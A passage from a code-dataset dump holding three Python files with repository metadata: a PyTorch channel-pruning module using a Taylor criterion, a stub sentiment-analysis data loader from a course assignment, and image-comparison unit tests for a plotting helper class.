mod(nn.Module):\r\n    par(nn.Module): parent module of mod\r\n  Returns:\r\n    The ActMask module or None \r\n  \"\"\"\r\n  # locate mod in par.children\r\n  mods = list(par.children())\r\n  idx = find_in_parent(mod, par)  # locate the mod\r\n  if idx == -1:\r\n    raise ValueError('mod {} is not a children of {}.'.format(mod, par))\r\n  if idx < len(mods) - 1 and isinstance(mods[idx + 1], ActMask):\r\n    return mods[idx + 1]\r\n  return None\r\n\r\n\r\ndef insert_or_update_act_mask(mod, par, ouc):\r\n  \"\"\" Insert a new ActMask after mod or update its contents.\r\n  \r\n  Args:\r\n    mod(nn.Module):\r\n    par(nn.Module): parent module of mod\r\n    ouc(list): a list of channel indices to be removed\r\n  Returns:\r\n    None\r\n  \"\"\"\r\n  act_mask = find_act_mask(mod, par)\r\n\r\n  # create the mask module\r\n  if act_mask is None:\r\n    num_channels = get_mod_channels(mod, out=True)\r\n    act_mask = ActMask(num_channels)\r\n    insert_after(act_mask, mod, par, name_suffix='mask')\r\n\r\n  # update the mask value\r\n  act_mask.mask.data[ouc] = 0.0\r\n\r\n\r\ndef prune_by_taylor_criterion(model,\r\n                              crit_map,\r\n                              num_channels_per_prune=1,\r\n                              logger=None):\r\n  \"\"\" Prune the given model by the crit_map.\r\n\r\n  NOTE: need update for batch norm\r\n  NOTE: need update for non-sequential connectivity\r\n\r\n  Args:\r\n    model(nn.Module): model to be pruned\r\n    crit_map(dict): the computed criterion map\r\n    num_channels_per_prune(int): number of channels will be pruned per\r\n      iteration\r\n  Returns:\r\n    the model, updated in-place \r\n  \"\"\"\r\n  assert isinstance(model, nn.Module)\r\n  assert isinstance(crit_map, dict)\r\n  assert isinstance(num_channels_per_prune, int)\r\n  assert num_channels_per_prune >= 1\r\n\r\n  if logger is None:\r\n    logger = module_logger\r\n\r\n  # build mod_map and par_map\r\n  mod_map = OrderedDict()\r\n  par_map = OrderedDict()  # record the parent module name\r\n  for name, mod in model.named_modules():\r\n    mod_map[name] = mod\r\n    for child_name, child in mod.named_children():\r\n      full_name = child_name if not name else '{}.{}'.format(name, child_name)\r\n      par_map[full_name] = name\r\n\r\n  # compute the ranking\r\n  ranking = rank_act(crit_map)\r\n  cls_name = list(model.named_modules())[-1][0]  # name of the classifier module\r\n  pc_map = get_channels_to_prune(\r\n      ranking,\r\n      num_channels_per_prune,\r\n      mod_map=mod_map,\r\n      par_map=par_map,\r\n      excludes=[cls_name])\r\n\r\n  # iterate every activation\r\n  # in each iteration, we remove those channels that\r\n  # are marked to be pruned, by creating a new Conv2d\r\n  # or Linear model and migrate the weights to the new\r\n  # model.\r\n  for i, (name, channels_to_prune) in enumerate(pc_map.items()):\r\n    mod = mod_map[name]\r\n    assert isinstance(mod, nn.Conv2d) or isinstance(mod, nn.Linear)\r\n\r\n    insert_or_update_act_mask(mod, mod_map[par_map[name]],\r\n                              list(channels_to_prune))\r\n\r\n    # NOTE: this is an older module replacement approach. We now prefer\r\n    #   adding mask modules\r\n    # collect the number of channels from the module\r\n    # that outputs the current activation.\r\n    # in_channels = get_mod_channels(mod, out=False)\r\n    # out_channels = get_mod_channels(mod, out=True)\r\n    #\r\n    # pre = mod_map[act_chl[i - 1][0]] if i > 0 else None\r\n    # ouc = [x for x in range(out_channels) if x not in act_chl[i][1]]\r\n    # if i == 0:\r\n    #   inc = range(in_channels)\r\n    # else:\r\n    #   # HACK: the interface between CONV-FC is hard to handle\r\n    #   if isinstance(mod, nn.Linear) and isinstance(pre, nn.Conv2d):\r\n    #     img_size = in_channels // mod_out[act_chl[i - 1][0]]\r\n    #     inc = np.arange(in_channels).reshape((-1, img_size))\r\n    #     inc_ = []\r\n    #     for x in range(inc.shape[0]):\r\n    #       if x not in act_chl[i - 1][1]:\r\n    #         inc_.extend(inc[x, :].tolist())\r\n    #     inc = inc_\r\n    #   else:\r\n    #     inc = [x for x in range(in_channels) if x not in act_chl[i - 1][1]]\r\n    # mod_ = clone_module(mod, len(inc), len(ouc))\r\n    # mod_.weight.data = mod.weight[ouc, :][:, inc]  # pruned weights\r\n    # if mod_.bias is not None:\r\n    #   mod_.bias.data = mod.bias[ouc]  # pruned biases\r\n    # par_mod = mod_map[par_map[name]]\r\n    # par_mod._modules[name.split('.')[-1]] = mod_\r\n    # del mod  # explicitly remove this replaced module\r\n\r\n  return model\r\n\r\n\r\nclass ModelPruner(ModelTransfer):\r\n  \"\"\" Implemented pruning related utilities. \"\"\"\r\n\r\n  def __init__(self, args):\r\n    super().__init__(args)\r\n\r\n    self.base_dir = args.checkpoint\r\n    if isinstance(self.base_dir, str):\r\n      os.makedirs(self.base_dir, exist_ok=True)\r\n\r\n  def update_criterion(self, crit_map, act_map, grad_map, hooks):\r\n    \"\"\" Called after forward-backward in one pass.\r\n    \r\n      act_map and grad_map will be recycled\r\n      hooks in `hooks` will be removed\r\n    \"\"\"\r\n    assert isinstance(crit_map, dict)\r\n    assert isinstance(act_map, dict)\r\n    assert isinstance(grad_map, dict)\r\n    assert isinstance(hooks, dict)  # NOTE: returned from register_hooks\r\n\r\n    # compute and store criterion\r\n    crit_map.update(create_crit_map(act_map, grad_map))\r\n\r\n    # remove hooks\r\n    for hooks_ in hooks.values():\r\n      for hook in hooks_:\r\n        hook.remove()\r\n\r\n    del grad_map\r\n    del act_map\r\n\r\n  def compute_taylor_criterion(self, model, use_cuda=True, logger=None):\r\n    \"\"\" Compute the taylor criterion for every activation in the model. \"\"\"\r\n    assert isinstance(model, nn.Module)\r\n\r\n    if logger is None:\r\n      logger = module_logger\r\n\r\n    batch_time = AverageMeter()\r\n    data_time = AverageMeter()\r\n    crit_time = AverageMeter()\r\n\r\n    # switch to train mode\r\n    model.train()\r\n\r\n    crit_map = {}\r\n\r\n    end = time.time()\r\n    for i, (x, target) in enumerate(self.train_loader):\r\n      data_time.update(time.time() - end)\r\n\r\n      # create hooks\r\n      grad_map, act_map = {}, {}\r\n      hooks = register_hooks(model, act_map, grad_map)\r\n\r\n      if use_cuda:\r\n        x = x.cuda(non_blocking=True)\r\n        target = target.cuda(non_blocking=True)\r\n\r\n      y = model(x)\r\n      loss = self.criterion(y, target)\r\n      loss.backward()\r\n\r\n      # collect criterion\r\n      # NOTE: here is the most time-consuming part (or maybe not)\r\n      crit_start = time.time()\r\n      self.update_criterion(crit_map, act_map, grad_map, hooks)\r\n      crit_time.update(time.time() - crit_start)\r\n\r\n      batch_time.update(time.time() - end)\r\n      end = time.time()\r\n\r\n      if i % self.args.print_freq == 0:\r\n        print('[{0:3d}/{1:3d}]\\t'\r\n              'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\r\n              'Crit {crit_time.val:.3f} ({crit_time.avg:.3f})\\t'\r\n              'Data {data_time.val:.3f} ({data_time.avg:.3f})\\t'.format(\r\n                  i,\r\n                  len(self.train_loader),\r\n                  crit_time=crit_time,\r\n                  batch_time=batch_time,\r\n                  data_time=data_time))\r\n\r\n    # summarise result\r\n    logger.info('==> Summarising criterion from all batches ...')\r\n    for key in crit_map:\r\n      crit_map[key] = torch.mean(crit_map[key], dim=0)\r\n\r\n    return crit_map\r\n\r\n  def prune_loop(self, model, use_cuda=True, logger=None):\r\n    \"\"\" Prune for the required number of iterations. \"\"\"\r\n    if logger is None:\r\n      logger = module_logger\r\n\r\n    total_num_channels_pruned = 0\r\n\r\n    for prune_iter in range(self.args.num_prune_iters):\r\n      logger.info('==> Running pruning iteration [{:3d}/{:3d}] ...'.format(\r\n          prune_iter, self.args.num_prune_iters))\r\n\r\n      # create the checkpoint directory\r\n      checkpoint = os.path.join(self.base_dir,\r\n                                'prune_iter_{}'.format(prune_iter))\r\n      os.makedirs(checkpoint, exist_ok=True)\r\n\r\n      # declare the new checkpoint\r\n      self.args.checkpoint = checkpoint\r\n      # NOTE: this logger is only used for the internal logic of training\r\n      self.logger = self.get_logger(self.args)\r\n\r\n      model = self.prune(\r\n          model,\r\n          total_num_channels_pruned=total_num_channels_pruned,\r\n          num_channels_per_prune=self.args.num_channels_per_prune,\r\n          use_cuda=use_cuda,\r\n          logger=logger)\r\n      total_num_channels_pruned += self.args.num_channels_per_prune\r\n\r\n  def prune(self,\r\n            model,\r\n            total_num_channels_pruned=0,\r\n            num_channels_per_prune=0,\r\n            use_cuda=True,\r\n            logger=None):\r\n    \"\"\" A prune round. \"\"\"\r\n    if logger is None:\r\n      logger = module_logger\r\n\r\n    # collect the criterion map\r\n    logger.info('==> Collecting criterion for all modules ...')\r\n    crit_map = self.compute_taylor_criterion(\r\n        model, use_cuda=use_cuda, logger=logger)\r\n\r\n    # prune the model based on the criterion\r\n    logger.info('==> Pruning the model ...')\r\n    model = prune_by_taylor_criterion(\r\n        model,\r\n        crit_map,\r\n        num_channels_per_prune=num_channels_per_prune,\r\n        logger=logger)\r\n\r\n    total_num_channels_pruned += num_channels_per_prune\r\n    logger.info('==> Pruned model')\r\n    print(model)\r\n    print(self.get_mask_status(model))\r\n    self.sanity_check(model, total_num_channels_pruned)\r\n\r\n    # train and validate this model\r\n    logger.info('==> Fine-tuning the model ...')\r\n    self.train(model, load_optim=False)\r\n    self.validate(model)\r\n\r\n    return model\r\n\r\n  def sanity_check(self, model, total_num_channels_pruned):\r\n    \"\"\" Check whether pruning runs correctly. \"\"\"\r\n    df = self.get_mask_status(model)\r\n\r\n    if df['num_pruned'].sum() != total_num_channels_pruned:\r\n      raise RuntimeError(\r\n          'Number of pruned channels {} does not equal to required {}'.format(\r\n              df['num_pruned'].sum(), total_num_channels_pruned))\r\n\r\n  def get_mask_status(self, model):\r\n    \"\"\" Print the status of each mask. \"\"\"\r\n    cols = ['name', 'num_pruned']\r\n    data = []\r\n    for name, mod in model.named_modules():\r\n      if isinstance(mod, ActMask):\r\n        data.append([name, np.count_nonzero(mod.mask.cpu().numpy() == 0)])\r\n\r\n    return pd.DataFrame(data, columns=cols)", "meta": {"hexsha": "55cee7c899f1dd44843aee877bbac729756d8ae3", "size": 18335, "ext": "py", "lang": "Python", "max_stars_repo_path": "taylor_pruning/pruning.py", "max_stars_repo_name": "kumasento/taylor-pruning", "max_stars_repo_head_hexsha": "95a92984b148f8cd2e1951a094160f3caca911e4", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 6, "max_stars_repo_stars_event_min_datetime": "2019-10-23T03:21:48.000Z", "max_stars_repo_stars_event_max_datetime": "2021-01-13T02:29:26.000Z", "max_issues_repo_path": "taylor_pruning/pruning.py", "max_issues_repo_name": "kumasento/taylor-pruning", "max_issues_repo_head_hexsha": "95a92984b148f8cd2e1951a094160f3caca911e4", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 9, "max_issues_repo_issues_event_min_datetime": "2019-04-04T16:32:03.000Z", "max_issues_repo_issues_event_max_datetime": "2019-12-12T09:16:39.000Z", "max_forks_repo_path": "taylor_pruning/pruning.py", "max_forks_repo_name": "kumasento/taylor-pruning", "max_forks_repo_head_hexsha": "95a92984b148f8cd2e1951a094160f3caca911e4", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.8869565217, "max_line_length": 81, "alphanum_fraction": 0.6386692119, "include": true, "reason": "import numpy", "num_tokens": 4401, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.1294027198405294, "lm_q1q2_score": 0.0647013599202647}}
{"text": "import csv\nimport os\n\nimport numpy as np\nfrom torch.utils.data import Dataset, DataLoader, SubsetRandomSampler\n\n# Here in this file, you should define functions to try out different encodings.\n# Some options:\n#   1) Bag of words. You don't need any library for this, it's simple enough to\n#       implement on your own.\n#   2) Word embeddings. You can use spacy or Word2Vec (or others, but these are good\n#       starting points). Spacy will give you better embeddings, since they are \n#       already defined. Word2Vec will create embeddings based on your dataset.\n\n## Document the choices you make, including if you pre-process words/tokens by \n# stemming, using POS (parts of speech info) or anything else. \n\n## Create your own files to define Logistic regression/ Neural networks to try\n# out the performace of different ML algorithms. It'll be up to you to evaluate\n# the performance.\n\n\nclass SentimentDataset(Dataset):\n    \"\"\"SentimentDataset [summary]\n    \n    [extended_summary]\n    \n    :param path_to_data: Path to dataset directory\n    :type path_to_data: str\n    \"\"\"\n    def __init__(self, path_to_data):\n        ## TODO: Initialise the dataset given the path to the dataset directory.\n        ## You may want to include other parameters, totally your choice.\n        pass\n\n    def __len__(self):\n        \"\"\"__len__ [summary]\n        \n        [extended_summary]\n        \"\"\"\n        ## TODO: Returns the length of the dataset.\n        pass\n\n    def __getitem__(self, index):\n        \"\"\"__getitem__ [summary]\n        \n        [extended_summary]\n        \n        :param index: [description]\n        :type index: [type]\n        \"\"\"\n        ## TODO: This returns only ONE sample from the dataset, for a given index.\n        ## The returned sample should be a tuple (x, y) where x is your input \n        ## vector and y is your label\n        ## Before returning your sample, you should check if there is a transform\n        ## sepcified, and pply that transform to your sample\n        # Eg:\n        # if self.transform:\n        #   sample = self.transform(sample)\n        ## Remember to convert the x and y into torch tensors.\n\n        pass\n\n\ndef get_data_loaders(path_to_pkl, \n                     path_to_labels,\n                     train_val_test=[0.8, 0.2, 0.2], \n                     batch_size=32):\n  \"\"\"\n  You know the drill by now.\n  \"\"\"\n  pass", "meta": {"hexsha": "285457058a4dac8e726a7ef16d20dd0b1b986638", "size": 2359, "ext": "py", "lang": "Python", "max_stars_repo_path": "a4/data_loader.py", "max_stars_repo_name": "julia-allen/IntSys-Education", "max_stars_repo_head_hexsha": "fca18a05ac50e5d31e77ae30111040101d00e509", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-12-02T21:23:35.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-02T21:23:35.000Z", "max_issues_repo_path": "a4/data_loader.py", "max_issues_repo_name": "julia-allen/IntSys-Education", "max_issues_repo_head_hexsha": "fca18a05ac50e5d31e77ae30111040101d00e509", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "a4/data_loader.py", "max_forks_repo_name": "julia-allen/IntSys-Education", "max_forks_repo_head_hexsha": "fca18a05ac50e5d31e77ae30111040101d00e509", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 12, "max_forks_repo_forks_event_min_datetime": "2020-03-03T00:36:10.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-30T19:16:38.000Z", "avg_line_length": 32.7638888889, "max_line_length": 84, "alphanum_fraction": 0.6430690971, "include": true, "reason": "import numpy", "num_tokens": 542, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167793123159, "lm_q2_score": 0.14033624589467186, "lm_q1q2_score": 0.06469736410314283}}
{"text": "# normal libraries\nimport unittest\nfrom unittest import TestCase\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom PIL import ImageChops, Image  # image comparison\n\nimport os\nimport pathlib\n# other files\nfrom corai_plot import APlot\nfrom config import ROOT_DIR\nfrom corai_metaclass import Register, deco_register, dict_register_classes\n\n\"\"\"\n    Auto\n    False - manual testing \n          - save the file and check manually if the behaviour is as expected\n    True - automatic testing\n         - save the file with test_name and compare against manually approved correct image \n    ! Only use false locally    \n\"\"\"\n\nAUTO = True\nDELETE_TEST_PLOT = True\nPATH = os.path.join(ROOT_DIR, 'corai_plot', 'tests', 'image_reference_test_plot')\n\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\ndef image_comparison(path1, path2):\n    im1 = Image.open(path1).convert('RGB')  # we open the image with RGB code,\n    # because some times there is noise on the image\n    im2 = Image.open(path2).convert('RGB')  # same\n    diff = ImageChops.difference(im2, im1)\n    if diff.getbbox():  # if images are different\n        return False\n    else:\n        return True\n\n\nclass Test_APlot(TestCase):\n    def setUp(self) -> None:\n        self.xx = np.linspace(0, 10, 10000)\n        self.yy = np.cos(self.xx)\n        self.image_name = \"\"\n        return\n\n    def tearDown(self):\n        if DELETE_TEST_PLOT:\n            for file in os.listdir(PATH):\n                if file.startswith(\"test\") and file.endswith(\".png\"):\n                    file_path = os.path.join(PATH, file)\n                    os.remove(file_path)\n\n    def check_plot(self):\n        image_path = os.path.join(PATH, f\"{self.image_name}.png\")\n        if AUTO:\n            test_path = os.path.join(PATH, f\"test_{self.image_name}.png\")\n            plt.savefig(test_path, dpi=50)\n            assert (image_comparison(test_path, image_path))\n        else:\n            plt.savefig(image_path, dpi=50)\n\n    def test_constructor_plot_data_directly_only_yy(self):\n        # direct plot only yy\n        APlot(datay=self.yy)\n        self.image_name = \"image_yy\"\n        self.check_plot()\n\n    def test_constructor_plot_data_directly_xx_yy(self):\n        # direct plot xx and yy\n        APlot(datax=self.xx, datay=self.yy)\n        self.image_name = \"image_xx_yy\"\n        self.check_plot()\n\n\n    def test_set_dict_ax_and_bis_each_parameter_only_first_two_axis_same_graph(self):\n        # first, trying every simple possibility for dict_ax\n        yy = np.abs(np.cos(self.xx)) + 1\n        with self.subTest('title'):\n            aplot = APlot()\n            dict_plot = {'title': 'my title'}\n\n            aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot)\n            aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1)\n\n            self.image_name = \"image_set_dict_ax_title\"\n            self.check_plot()\n\n        with self.subTest('xlabel'):\n            aplot = APlot()\n\n            dict_plot = {'xlabel': 'my x label'}\n\n            aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot)\n            aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1)\n\n            self.image_name = \"image_set_dict_ax_xlabel\"\n            self.check_plot()\n\n        with self.subTest('ylabel'):\n            aplot = APlot()\n\n            dict_plot = {'ylabel': 'my y label'}\n\n            aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot)\n            aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1)\n\n            self.image_name = \"image_set_dict_ax_ylabel\"\n            self.check_plot()\n\n        with self.subTest('xscale'):\n            aplot = APlot()\n\n            dict_plot = {'xscale': 'log'}\n\n            aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot)\n            aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1)\n            self.image_name = \"image_set_dict_ax_xscale_only_principal_axis\"\n            self.check_plot()\n\n        with self.subTest('yscale left'):\n            aplot = APlot()\n\n            dict_plot = {'yscale': 'log'}\n\n            aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot)\n            aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1)\n\n            self.image_name = \"image_set_dict_ax_yscale\"\n            self.check_plot()\n\n        with self.subTest('xint'):\n            aplot = APlot()\n\n            dict_plot = {'xint': True}\n\n            aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot)\n            aplot.uni_plot_ax_bis(0, self.xx, 1/3 * np.sin(self.xx) + 1)\n\n            self.image_name = \"image_set_dict_ax_xint\"\n            self.check_plot()\n\n        with self.subTest('xint_yint'):\n            aplot = APlot()\n\n            dict_plot = {'xint': True, 'yint': True}\n\n            aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot)\n            aplot.uni_plot_ax_bis(0, self.xx, 1/3 * np.sin(self.xx) + 1)\n\n            self.image_name = \"image_set_dict_ax_xyint\"\n            self.check_plot()\n\n        for i in range(11):\n            with self.subTest('parameter', i=i):\n                aplot = APlot()\n\n                dict_plot = {'parameters': ['A', 3, 5]*i, 'name_parameters': ['A', '$\\sigma$', '$\\\\rho$']*i}\n\n                aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot)\n                aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1)\n\n                self.image_name = f\"image_set_dict_ax_parameter_{i}\"\n                self.check_plot()\n\n\n        # with self.subTest('parameters not good length'):\n        #     aplot = APlot()\n        #\n        #     dict_plot = {\n        #         'parameters': ['A', 3, 5, 10, 42], 'name_parameters': ['A']}\n        #\n        #     aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot)\n        #     aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1)\n\n        with self.subTest('xlim'):\n            aplot = APlot()\n\n            dict_plot = {'xlim': [0, 0.5]}\n\n            aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot)\n            aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1)\n\n            self.image_name = \"image_set_dict_ax_xlim\"\n            self.check_plot()\n\n        with self.subTest('ylim'):\n            aplot = APlot()\n\n            dict_plot = {'ylim': [1.2, 2.4]}\n\n            aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot)\n            aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1)\n\n            self.image_name = \"image_set_dict_ax_ylim\"\n            self.check_plot()\n\n    def test_set_dict_ax_and_bis_each_parameter_both_two_axis_same_graph(self):\n        yy = np.abs(np.cos(self.xx)) + 1\n        # second, try the same as before where the second axis is also setting another characteristic.\n        with self.subTest('two different titles'):\n            aplot = APlot()\n            dict_plot1 = {'title': 'my title1'}\n            dict_plot2 = {'title': 'my title2'}\n\n            aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot1)\n            aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1, dict_ax=dict_plot2)\n\n            self.image_name = \"image_set_dict_ax_title_2\"\n            self.check_plot()\n\n        with self.subTest('two xlabels'):\n            aplot = APlot()\n\n            dict_plot1 = {'xlabel': 'my x label1'}\n            dict_plot2 = {'xlabel': 'my x label2'}\n\n            aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot1)\n            aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1, dict_ax=dict_plot2)\n\n            self.image_name = \"image_set_dict_ax_xlabel_2\"\n            self.check_plot()\n\n        with self.subTest('two ylabels'):\n            aplot = APlot()\n\n            dict_plot1 = {'ylabel': 'my y label1'}\n            dict_plot2 = {'ylabel': 'my y label2'}\n\n            aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot1)\n            aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1, dict_ax=dict_plot2)\n\n            self.image_name = \"image_set_dict_ax_ylabel_2\"\n            self.check_plot()\n\n        with self.subTest('xscale same both axis'):\n            aplot = APlot()\n\n            dict_plot = {'xscale': 'log'}\n\n            aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot)\n            aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1, dict_ax=dict_plot)\n\n            self.image_name = \"image_set_dict_ax_xscale_both_same_scale\"\n            self.check_plot()\n\n        with self.subTest('yscale same both axis'):\n            aplot = APlot()\n\n            dict_plot = {'yscale': 'log'}\n\n            aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot)\n            aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1, dict_ax=dict_plot)\n\n            self.image_name = \"image_set_dict_ax_yscale_2_same\"\n            self.check_plot()\n\n        with self.subTest('xscale different'):\n            aplot = APlot()\n\n            dict_plot2 = {'xscale': 'log'}\n            dict_plot = {'xscale': 'linear'}\n\n            aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot)\n            aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1, dict_ax=dict_plot2)\n\n            self.image_name = \"image_set_dict_ax_xscale_2_different_scales\"\n            self.check_plot()\n\n        with self.subTest('yscale different'):\n            aplot = APlot()\n\n            dict_plot = {'yscale': 'log'}\n            dict_plot2 = {'yscale': 'linear'}\n\n            aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot)\n            aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1, dict_ax=dict_plot2)\n\n            self.image_name = \"image_set_dict_ax_yscale_2_different\"\n            self.check_plot()\n\n        # with self.subTest('xint same'):\n        #     aplot = APlot()\n        #\n        #     dict_plot = {'xint': True}\n        #\n        #     aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot)\n        #     aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1, dict_ax=dict_plot)\n        #\n        #     plt.savefig(\"image_reference_test_plot/test_image_set_dict_ax_xint_2_same.png\")\n        #\n        # with self.subTest('xint_yint same'):\n        #     aplot = APlot()\n        #\n        #     dict_plot = {'xint': True, 'yint': True}\n        #\n        #     aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot)\n        #     aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1, dict_ax=dict_plot)\n        #\n        #     plt.savefig(\"image_reference_test_plot/test_image_set_dict_ax_xyint_same_2.png\")\n\n        # with self.subTest('xint different'):\n        #     aplot = APlot()\n        #\n        #     dict_plot = {'xint': True}\n        #     dict_plot2 = {'xint': False}\n        #\n        #     aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot)\n        #     aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1, dict_ax=dict_plot2)\n        #\n        #     plt.savefig(\"image_reference_test_plot/test_image_set_dict_ax_xint_2_different_2.png\")\n        #\n        # with self.subTest('xint_yint different'):\n        #     aplot = APlot()\n        #\n        #     dict_plot = {'xint': True, 'yint': True}\n        #     dict_plot2 = {'xint': True, 'yint': False}\n        #\n        #     aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot)\n        #     aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1, dict_ax=dict_plot2)\n        #\n        #     plt.savefig(\"image_reference_test_plot/test_image_set_dict_ax_xyint_different_2.png\")\n\n        with self.subTest('xlim'):\n            aplot = APlot()\n\n            dict_plot1 = {'xlim': [0, 0.5]}\n            dict_plot2 = {'xlim': [0, 1.5]}\n\n            aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot1)\n            aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1, dict_ax=dict_plot2)\n\n            self.image_name = \"image_set_dict_ax_xlim_2\"\n            self.check_plot()\n\n        with self.subTest('ylim'):\n            aplot = APlot()\n\n            dict_plot1 = {'ylim': [1, 5]}\n            dict_plot2 = {'ylim': [1, 15]}\n\n            aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot1)\n            aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1, dict_ax=dict_plot2)\n\n            self.image_name = \"image_set_dict_ax_ylim_2\"\n            self.check_plot()\n\n\n    def test_show_legend_for_two_axis(self):\n        yy = np.abs(np.cos(self.xx)) + 1\n        # second, try the same as before where the second axis is also setting another characteristic.\n\n        aplot = APlot()\n        dict_plot1 = {'title': 'my title1'}\n        dict_plot2 = {'title': 'my title2'}\n\n        aplot.uni_plot(0, self.xx, yy, dict_ax=dict_plot1)\n        aplot.uni_plot_ax_bis(0, self.xx, 3 * np.sin(self.xx) + 1, dict_ax=dict_plot2)\n        aplot.show_legend()\n        self.image_name = \"image_legend_two_axis\"\n        self.check_plot()\n\n    def test_tight_layout(self):\n        pass\n\n\n    def test_uni_plot_one_plot(self):\n        # uni plot\n        aplot_2 = APlot()\n        aplot_2.uni_plot(0, self.xx, self.yy)\n        aplot_2.tight_layout()\n\n        self.image_name = \"image_uniplot_1\"\n        self.check_plot()\n\n    def test_uni_plot_for_plots_same_graph(self):\n        # uni plot *4\n        aplot_3 = APlot(how=(2, 2))\n        aplot_3.uni_plot(0, self.xx, self.yy)\n        aplot_3.uni_plot(1, self.xx, self.yy)\n        aplot_3.uni_plot(2, self.xx, self.yy)\n        aplot_3.uni_plot(3, self.xx, self.yy)\n        aplot_3.tight_layout()\n\n        self.image_name = \"image_uniplot_2\"\n        self.check_plot()\n\n    def test_uni_plot_for_plots_same_graph_sharex(self):\n        # uni plot *4\n        aplot_3 = APlot(how=(2, 2), sharex=True)\n        aplot_3.uni_plot(0, self.xx, self.yy)\n        aplot_3.uni_plot(1, self.xx, self.yy)\n        aplot_3.uni_plot(2, self.xx, self.yy)\n        aplot_3.uni_plot(3, self.xx, self.yy)\n        aplot_3.tight_layout()\n\n        self.image_name = \"image_uniplot_2_sharex\"\n        self.check_plot()\n\n    def test_uni_plot_for_plots_same_graph_sharex_not_same_interval_for_x(self):\n        # uni plot *4\n        xx = np.linspace(-1, 1, 1000)\n        aplot_3 = APlot(how=(2, 2), sharex=True)\n        aplot_3.uni_plot(0, xx, np.exp(xx))\n        aplot_3.uni_plot(1, xx + 1, np.exp(xx + 1))\n        aplot_3.uni_plot(2, xx + 1, np.exp(xx + 1))\n        aplot_3.uni_plot(3, xx, np.exp(xx))\n        aplot_3.tight_layout()\n\n        self.image_name = \"image_uniplot_2_sharex_not_same_interval_for_x\"\n        self.check_plot()\n\n    def test_uni_plot_for_plots_same_graph_sharey(self):\n        # uni plot *4\n        aplot_3 = APlot(how=(2, 2), sharey=True)\n        aplot_3.uni_plot(0, self.xx, self.yy)\n        aplot_3.uni_plot(1, self.xx, self.yy)\n        aplot_3.uni_plot(2, self.xx, self.yy)\n        aplot_3.uni_plot(3, self.xx, self.yy)\n        aplot_3.tight_layout()\n\n        self.image_name = \"image_uniplot_2_sharey\"\n        self.check_plot()\n\n    def test_uni_plot_for_plots_same_graph_sharey_not_same_interval_for_y(self):\n        xx = np.linspace(-1, 1, 1000)\n        aplot_3 = APlot(how=(2, 2), sharey=True)\n        aplot_3.uni_plot(0, xx, np.exp(xx))\n        aplot_3.uni_plot(1, xx + 1, np.exp(xx + 1))\n        aplot_3.uni_plot(2, xx + 1, np.exp(xx + 1))\n        aplot_3.uni_plot(3, xx, np.exp(xx))\n        